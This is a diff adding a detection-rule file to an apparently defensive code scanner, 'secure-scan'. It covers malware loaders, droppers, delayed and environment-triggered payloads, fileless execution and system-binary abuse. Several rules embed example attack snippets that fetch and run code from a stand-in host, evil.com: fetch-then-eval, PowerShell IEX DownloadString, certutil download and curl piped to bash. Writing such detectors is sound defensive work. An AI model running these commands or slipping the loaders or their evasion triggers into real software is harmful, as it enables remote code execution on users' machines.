secure-scan 1.2.2

package/src/rules/malware/categories/loaders.ts

@@ -0,0 +1,721 @@
+/**
+ * @fileoverview Loader, Dropper, and Multi-Stage Malware Detection Rules
+ * @module rules/malware/categories/loaders
+ * 
+ * Comprehensive rules for detecting malware loaders and droppers including:
+ * - Remote code loading
+ * - Dynamic script injection
+ * - Multi-stage malware
+ * - Fileless malware patterns
+ * - Living-off-the-land techniques
+ */
+
+import {
+  MalwareRule,
+  MalwareThreatType,
+  MalwareCategory,
+  MalwareSeverity,
+  ConfidenceLevel,
+  SupportedLanguage,
+  PatternType,
+  MitreTactic
+} from '../types';
+
+// ============================================================================
+// REMOTE CODE LOADER RULES
+// ============================================================================
+
+export const remoteLoaderRules: MalwareRule[] = [
+  {
+    id: 'MAL-LOAD-001',
+    name: 'Malicious Loader - Remote Script Execution',
+    description: 'Detects patterns that fetch and execute remote code dynamically.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.LOADER,
+    category: MalwareCategory.DROPPER,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.PHP
+    ],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 90,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'eval-fetch',
+        pattern: 'eval\\s*\\([^)]*(?:fetch|axios|request|\\$\\.get)\\s*\\(',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Eval with remote fetch'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'function-constructor-fetch',
+        pattern: 'Function\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|http\\.get)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Function constructor with remote data'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'python-exec-urllib',
+        pattern: 'exec\\s*\\(\\s*(?:urllib|requests)\\.(?:urlopen|get)\\s*\\([^)]+\\)\\.read\\s*\\(',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Python exec with URL fetch'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'php-include-http',
+        pattern: '(?:include|require)(?:_once)?\\s*\\([^)]*https?:',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'PHP remote file inclusion'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'node-vm-remote',
+        pattern: 'vm\\.(?:runInThisContext|runInNewContext)\\s*\\([^)]*(?:fetch|http\\.get|axios)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Node.js VM with remote code'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'external-url',
+        pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[\\w.-]+',
+        flags: 'gi',
+        weight: 0.4,
+        description: 'External URL present'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `fetch('https://evil.com/payload.js')
+  .then(r => r.text())
+  .then(code => eval(code));`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Remote code loader via fetch'
+      },
+      {
+        code: `import urllib.request
+exec(urllib.request.urlopen('http://evil.com/backdoor.py').read())`,
+        language: SupportedLanguage.PYTHON,
+        isMalicious: true,
+        description: 'Python remote code execution'
+      }
+    ],
+    impact: {
+      technical: 'Dynamically loads and executes code from remote source.',
+      business: 'Allows attacker to update malware without modifying files.',
+      affectedAssets: ['Application runtime', 'System'],
+      dataAtRisk: ['All accessible data', 'System control']
+    },
+    remediation: {
+      summary: 'Remove remote code loading and implement Content Security Policy.',
+      steps: [
+        'Remove all dynamic remote code loading',
+        'Implement strict Content Security Policy',
+        'Use Subresource Integrity for external scripts',
+        'Whitelist allowed script sources',
+        'Monitor network connections for unusual patterns'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.EXECUTION,
+        tacticName: 'Execution',
+        techniqueId: 'T1059',
+        techniqueName: 'Command and Scripting Interpreter',
+        url: 'https://attack.mitre.org/techniques/T1059/'
+      },
+      {
+        tacticId: MitreTactic.COMMAND_AND_CONTROL,
+        tacticName: 'Command and Control',
+        techniqueId: 'T1105',
+        techniqueName: 'Ingress Tool Transfer',
+        url: 'https://attack.mitre.org/techniques/T1105/'
+      }
+    ],
+    tags: ['loader', 'remote-code', 'dynamic-execution', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-LOAD-002',
+    name: 'Malicious Loader - Dynamic Script Injection',
+    description: 'Detects dynamic injection of script tags or script elements.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.LOADER,
+    category: MalwareCategory.DROPPER,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 78,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'document-write-script',
+        pattern: 'document\\.write\\s*\\([^)]*<script[^>]*src\\s*=',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'document.write with script tag'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'createElement-script-src',
+        pattern: '\\.createElement\\s*\\([\'"]script[\'"]\\)[\\s\\S]*?\\.src\\s*=\\s*[^;]+;[\\s\\S]*?appendChild',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Dynamic script element creation'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'innerhtml-script',
+        pattern: '\\.innerHTML\\s*[+]?=\\s*[\'"][^\'\"]*<script',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Script injection via innerHTML'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'script-text-eval',
+        pattern: 'createElement\\s*\\([\'"]script[\'"]\\)[\\s\\S]*?\\.(?:text|textContent)\\s*=\\s*[^;]+;[\\s\\S]*?appendChild',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Inline script injection'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const script = document.createElement('script');
+script.src = 'https://evil.com/malware.js';
+document.body.appendChild(script);`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Dynamic malicious script injection'
+      }
+    ],
+    falsePositivePatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'analytics-known',
+        pattern: 'google-analytics|googletagmanager|segment\\.com',
+        flags: 'gi',
+        weight: 0.4,
+        description: 'Known analytics services'
+      }
+    ],
+    impact: {
+      technical: 'Dynamically injects executable scripts into the page.',
+      business: 'Code injection allowing arbitrary script execution.',
+      affectedAssets: ['Web page', 'User browser'],
+      dataAtRisk: ['Page data', 'User session']
+    },
+    remediation: {
+      summary: 'Remove dynamic script injection and use CSP.',
+      steps: [
+        'Remove unauthorized script injection code',
+        'Implement Content Security Policy',
+        'Use nonce or hash-based CSP for inline scripts',
+        'Audit all script loading mechanisms'
+      ]
+    },
+    tags: ['loader', 'script-injection', 'dom-manipulation', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// DROPPER RULES
+// ============================================================================
+
+export const dropperRules: MalwareRule[] = [
+  {
+    id: 'MAL-LOAD-010',
+    name: 'Dropper - File Write with Download',
+    description: 'Detects patterns that download and write executable files.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DROPPER,
+    category: MalwareCategory.DROPPER,
+    languages: [SupportedLanguage.PYTHON, SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 88,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'python-download-write',
+        pattern: '(?:urllib|requests)\\.(?:urlopen|get)[\\s\\S]*?open\\s*\\([^)]+[\'"][wb][\'"]\\)[\\s\\S]*?\\.write',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Python download and file write'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'node-download-fs',
+        pattern: '(?:fetch|http\\.get|axios)[\\s\\S]*?fs\\.(?:writeFile|createWriteStream)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Node.js download and file write'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'executable-extension',
+        pattern: '\\.(?:exe|dll|so|dylib|sh|bat|cmd|ps1|vbs)[\'"]',
+        flags: 'gi',
+        weight: 0.5,
+        description: 'Executable file extension'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'chmod-executable',
+        pattern: 'chmod\\s+[+]?x|os\\.chmod\\s*\\([^)]+0o7[0-7]{2}',
+        flags: 'gi',
+        weight: 0.6,
+        description: 'Making file executable'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'subprocess-run',
+        pattern: 'subprocess\\.(?:run|Popen|call)|exec\\s*\\(',
+        flags: 'gi',
+        weight: 0.5,
+        description: 'Process execution'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `import urllib.request
+import subprocess
+urllib.request.urlretrieve('http://evil.com/backdoor.exe', '/tmp/backdoor.exe')
+subprocess.run(['/tmp/backdoor.exe'])`,
+        language: SupportedLanguage.PYTHON,
+        isMalicious: true,
+        description: 'Download and execute dropper'
+      }
+    ],
+    impact: {
+      technical: 'Downloads and writes executable files to disk.',
+      business: 'Stage 1 of multi-stage malware infection.',
+      affectedAssets: ['File system', 'System processes'],
+      dataAtRisk: ['System integrity', 'All accessible data']
+    },
+    remediation: {
+      summary: 'Remove dropper code and scan for downloaded payloads.',
+      steps: [
+        'Remove the dropper code',
+        'Scan file system for downloaded payloads',
+        'Check for executed processes',
+        'Investigate network connections',
+        'Reset credentials if compromised'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.EXECUTION,
+        tacticName: 'Execution',
+        techniqueId: 'T1204',
+        techniqueName: 'User Execution',
+        url: 'https://attack.mitre.org/techniques/T1204/'
+      },
+      {
+        tacticId: MitreTactic.COMMAND_AND_CONTROL,
+        tacticName: 'Command and Control',
+        techniqueId: 'T1105',
+        techniqueName: 'Ingress Tool Transfer',
+        url: 'https://attack.mitre.org/techniques/T1105/'
+      }
+    ],
+    tags: ['dropper', 'download', 'file-write', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// MULTI-STAGE MALWARE RULES
+// ============================================================================
+
+export const multiStageRules: MalwareRule[] = [
+  {
+    id: 'MAL-LOAD-020',
+    name: 'Multi-Stage - Delayed Execution',
+    description: 'Detects time-delayed or condition-based malware activation.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.MULTI_STAGE,
+    category: MalwareCategory.DROPPER,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 72,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'setTimeout-fetch-eval',
+        pattern: 'setTimeout\\s*\\([^)]*(?:fetch|http)[\\s\\S]*?(?:eval|Function|exec)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Delayed remote code execution'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'date-check-execution',
+        pattern: 'new\\s+Date\\s*\\([^)]*\\)[\\s\\S]{0,100}(?:getTime|getDate|getMonth)[\\s\\S]{0,100}(?:eval|exec|Function)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Date-based activation'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'counter-trigger',
+        pattern: '(?:var|let|const)\\s+\\w+\\s*=\\s*0[\\s\\S]*?\\+\\+[\\s\\S]{0,100}(?:eval|exec)',
+        flags: 'gis',
+        weight: 0.6,
+        description: 'Counter-based trigger'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `let visitCount = parseInt(localStorage.getItem('visits') || '0');
+visitCount++;
+localStorage.setItem('visits', visitCount.toString());
+if (visitCount >= 5) {
+  fetch('https://evil.com/stage2.js').then(r => r.text()).then(eval);
+}`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Visit counter-triggered payload'
+      }
+    ],
+    impact: {
+      technical: 'Activates malicious payload after delay or condition.',
+      business: 'Evades detection through delayed activation.',
+      affectedAssets: ['Application runtime'],
+      dataAtRisk: ['Depends on stage 2 payload']
+    },
+    remediation: {
+      summary: 'Remove delayed execution logic and analyze all stages.',
+      steps: [
+        'Remove timing or condition-based triggers',
+        'Analyze all referenced payloads',
+        'Check for persistence mechanisms'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.DEFENSE_EVASION,
+        tacticName: 'Defense Evasion',
+        techniqueId: 'T1027',
+        techniqueName: 'Obfuscated Files or Information',
+        url: 'https://attack.mitre.org/techniques/T1027/'
+      }
+    ],
+    tags: ['multi-stage', 'delayed-execution', 'time-bomb', 'high'],
+    enabled: true
+  },
+  {
+    id: 'MAL-LOAD-021',
+    name: 'Multi-Stage - Environment-Based Activation',
+    description: 'Detects malware that activates based on environment conditions.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.LOGIC_BOMB,
+    category: MalwareCategory.DROPPER,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 75,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'prod-env-trigger',
+        pattern: 'NODE_ENV\\s*===?\\s*[\'"]production[\'"][\\s\\S]*?(?:eval|exec|fetch)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Production environment trigger'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'domain-check-trigger',
+        pattern: 'location\\.(?:hostname|host)[\\s\\S]*?(?:match|includes|===)[\\s\\S]*?(?:eval|exec)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Domain-based activation'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'ci-env-skip',
+        pattern: 'process\\.env\\.(?:CI|TRAVIS|JENKINS|GITHUB_ACTIONS)[\\s\\S]*?(?:return|exit)',
+        flags: 'gis',
+        weight: 0.7,
+        description: 'CI environment skip'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `if (process.env.NODE_ENV === 'production' && !process.env.CI) {
+  fetch('https://evil.com/prod-payload.js').then(r => r.text()).then(eval);
+}`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Production-only malware activation'
+      }
+    ],
+    impact: {
+      technical: 'Activates only in specific environments to evade testing.',
+      business: 'Targets production systems while avoiding detection.',
+      affectedAssets: ['Production environment'],
+      dataAtRisk: ['Production data']
+    },
+    remediation: {
+      summary: 'Remove environment-based triggers and analyze activation logic.',
+      steps: [
+        'Remove environment checks tied to malicious code',
+        'Test in production-like environments',
+        'Implement environment-independent security'
+      ]
+    },
+    tags: ['multi-stage', 'environment-trigger', 'logic-bomb', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// FILELESS MALWARE RULES
+// ============================================================================
+
+export const filelessRules: MalwareRule[] = [
+  {
+    id: 'MAL-LOAD-030',
+    name: 'Fileless - Memory-Only Execution',
+    description: 'Detects patterns indicative of fileless malware executing only in memory.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.FILELESS,
+    category: MalwareCategory.DROPPER,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.POWERSHELL
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 76,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'ps-iex-downloadstring',
+        pattern: 'IEX\\s*\\([^)]*DownloadString',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'PowerShell IEX with DownloadString'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'ps-memory-load',
+        pattern: '\\[System\\.Reflection\\.Assembly\\]::Load\\s*\\([^)]*\\[System\\.Net\\.WebClient\\]',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'PowerShell in-memory assembly load'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'js-blob-worker',
+        pattern: 'new\\s+Worker\\s*\\(\\s*URL\\.createObjectURL\\s*\\(\\s*new\\s+Blob',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'JavaScript Blob Worker (fileless)'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'python-io-exec',
+        pattern: 'exec\\s*\\(\\s*io\\.BytesIO\\s*\\(',
+        flags: 'gi',
+        weight: 0.7,
+        description: 'Python in-memory execution'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')`,
+        language: SupportedLanguage.POWERSHELL,
+        isMalicious: true,
+        description: 'PowerShell fileless execution'
+      },
+      {
+        code: `const blob = new Blob([maliciousCode], { type: 'application/javascript' });
+const worker = new Worker(URL.createObjectURL(blob));`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'JavaScript fileless Web Worker'
+      }
+    ],
+    impact: {
+      technical: 'Executes entirely in memory without writing to disk.',
+      business: 'Evades file-based detection mechanisms.',
+      affectedAssets: ['System memory', 'Processes'],
+      dataAtRisk: ['All accessible data']
+    },
+    remediation: {
+      summary: 'Implement memory-based detection and behavior monitoring.',
+      steps: [
+        'Remove fileless execution code',
+        'Implement behavior-based detection',
+        'Monitor process memory for anomalies',
+        'Use endpoint detection and response (EDR) tools'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.DEFENSE_EVASION,
+        tacticName: 'Defense Evasion',
+        techniqueId: 'T1027',
+        techniqueName: 'Obfuscated Files or Information',
+        url: 'https://attack.mitre.org/techniques/T1027/'
+      },
+      {
+        tacticId: MitreTactic.EXECUTION,
+        tacticName: 'Execution',
+        techniqueId: 'T1059.001',
+        techniqueName: 'PowerShell',
+        url: 'https://attack.mitre.org/techniques/T1059/001/'
+      }
+    ],
+    tags: ['fileless', 'memory-execution', 'evasion', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// LIVING OFF THE LAND RULES
+// ============================================================================
+
+export const lotlRules: MalwareRule[] = [
+  {
+    id: 'MAL-LOAD-040',
+    name: 'Living Off The Land - System Binary Abuse',
+    description: 'Detects abuse of legitimate system binaries for malicious purposes.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.LIVING_OFF_THE_LAND,
+    category: MalwareCategory.DROPPER,
+    languages: [
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.SHELL,
+      SupportedLanguage.POWERSHELL
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 70,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'certutil-download',
+        pattern: 'certutil\\s+.*-urlcache\\s+.*http',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'CertUtil for file download'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'bitsadmin-download',
+        pattern: 'bitsadmin\\s+\\/transfer.*http',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'BitsAdmin for file download'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'mshta-http',
+        pattern: 'mshta\\s+http',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'MSHTA with remote URL'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'regsvr32-scrobj',
+        pattern: 'regsvr32\\s+.*\\/[uis].*\\.sct',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'Regsvr32 scriptlet execution'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'curl-pipe-sh',
+        pattern: 'curl\\s+.*\\|\\s*(?:bash|sh|python)',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'Curl pipe to shell'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `certutil -urlcache -split -f http://evil.com/payload.exe c:\\temp\\payload.exe`,
+        language: SupportedLanguage.SHELL,
+        isMalicious: true,
+        description: 'CertUtil download abuse'
+      },
+      {
+        code: `curl https://evil.com/install.sh | bash`,
+        language: SupportedLanguage.SHELL,
+        isMalicious: true,
+        description: 'Curl pipe to bash'
+      }
+    ],
+    impact: {
+      technical: 'Abuses legitimate system tools for malicious activities.',
+      business: 'Bypasses application whitelisting and detection.',
+      affectedAssets: ['System binaries', 'System trust'],
+      dataAtRisk: ['System integrity']
+    },
+    remediation: {
+      summary: 'Monitor and restrict abuse of system binaries.',
+      steps: [
+        'Remove malicious command invocations',
+        'Implement application whitelisting with argument restrictions',
+        'Monitor usage of LOLBins',
+        'Use command-line auditing'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.DEFENSE_EVASION,
+        tacticName: 'Defense Evasion',
+        techniqueId: 'T1218',
+        techniqueName: 'System Binary Proxy Execution',
+        url: 'https://attack.mitre.org/techniques/T1218/'
+      }
+    ],
+    tags: ['lotl', 'lolbins', 'system-binary-abuse', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// EXPORT ALL LOADER RULES
+// ============================================================================
+
+export const loaderRules: MalwareRule[] = [
+  ...remoteLoaderRules,
+  ...dropperRules,
+  ...multiStageRules,
+  ...filelessRules,
+  ...lotlRules
+];
+
+export default loaderRules;